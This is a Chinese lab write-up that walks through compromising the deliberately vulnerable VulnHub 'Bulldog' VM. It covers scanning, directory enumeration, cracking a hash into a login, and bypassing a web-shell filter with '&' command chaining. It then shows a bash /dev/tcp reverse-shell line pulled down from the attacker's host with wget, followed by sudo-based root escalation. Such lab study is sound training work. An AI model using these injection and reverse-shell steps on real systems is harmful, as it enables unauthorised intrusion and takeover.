一、实验环境
- 靶机下载:
http://download.vulnhub.com/bulldog/bulldog.ova或http://download.vulnhub.com./bulldog/bulldog.ova.torrent - 靶机:ip暂未知
- 攻击机kali:192.168.0.150
二、实验步骤
(1)信息收集
1、主机发现
靶机与kali机在同一网段,nmap扫描或netdiscover扫描,他俩区别就是nmap扫描出本机IP
- nmap -sP 192.168.0.0/24

-
netdiscover -i eth0 -r 192.168.0.0/24
netdiscover -i 指定网卡 -r 指定网段
找到目标主机ip:192.168.0.106
2、端口扫描
-
masscan --rate=10000 --ports 0-65535 192.168.0.106
masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址
-
或者使用nmap -sS 192.168.0.106

为防止漏扫,多扫描几次,可发现主机23,80,8080端口开放
-
扫描端口详细信息
nmap -sV -T4 -p 23,80,8080 192.168.0.106
-T4指定扫描过程中使用的时序(分为0-5等级);-sV扫描版本的信息和开启的服务;也可以使用-A参数,详细扫描开放端口的具体服务;

发现端口对应服务:23-ssh服务,80-http服务,8080-http服务
3、操作系统扫描
nmap -O 192.168.0.106

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
(2)Web渗透
1.访问80端口
点击页面,未发现任何有用信息

2.网站指纹信息扫描
whatweb 192.168.0.106
web指纹扫描用于识别目标所运行的web软件、后端服务器、编程语言等特征、实现对目标web应用的准确标识
应用名称(版本)、服务器软件(版本)、编程语言(版本)、应用框架(版本)四大特征的识别。
3.网站目录扫描


扫描Web目录,可以发现潜在的渗透目标
发现/admin文件及诸多目录
4.查看网站目录
4.1访问http://192.168.0.106/admin

尝试万能钥匙,未果

网页源码也没有tips
4.2看看别的目录,访问http://192.168.0.106/dev

翻译过来的页面有提示:
完全从新服务器中删除PHP。此外,不使用PHPMyAdmin或任何其他流行的CMS系统;
新网站将完全用Django语言编写。目前,系统上启用了SSH。当我们转换到使用Web-
Shell(一个专有的shell接口)时,这个选项将被关闭;
此外,请注意我们将开始使用MongoDB,但是我们还没有完全安装它;
4.3访问http://192.168.0.106/dev/shell,提示:请与服务器进行身份验证以使用 Web-Shell

5.查看网页源代码
在dev目录下,我们看到有一堆哈希,尝试解密

解出nick用户的密码bulldog,也就解出这一个😑

6.尝试登陆,成功

7.访问刚刚的shell目录
7.1还真就web-shell,运行结果通过网页显示

7.2&绕过限制

7.3尝试直接反弹shell,直接错误
7.4发现wget能下载
直接python搭个网站,传shell文件,文件名就叫1
bash -i >& /dev/tcp/192.168.0.150/1234 0<&1 2>&1
python -m SimpleHTTPServer 80

然后ls & bash 1,监听获得反弹shell

8.提权操作
8.1查看系统中用户;bulldogadmin用户,django用户

8.2进入用户bulldogadmin的home目录下,查看home目录下有什么文件,发现一个隐藏目录.hiddenadmindirectory;该目录下存在俩个文件,一个note提示,一个可执行文件;查看两个文件内容

8.3strings 一下,提取显示非文本文件的文本字符

中间有password,被h隔开,猜测可能是密码
SUPERultimatePASSWORDyouCANTget
8.4那就尝试su,su root,都不行

8.5可以用python调用本地的shell,打开一个新的终端,命令:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
然后输入密码SUPERultimatePASSWORDyouCANTget
获得root权限

三、实验总结
(1)主机发现、端口扫描、服务获取
(2)爆破出web目录,在查看源代码,发现用户名及密码
(3)登陆成功,获取webshell,绕过白名单限制;命令执行漏洞
(4)搭建web服务(python -m SimpleHTTPServer 80);wget下载shell,bash执行,获取反弹shell
(5)/etc/passwd找寻系统id1000以后的用户,查看其文件,找到隐藏文件,发现隐藏密码
(6)python调用本地的shell,打开一个新的终端(sudo python -c 'import pty;pty.spawn("/bin/bash")')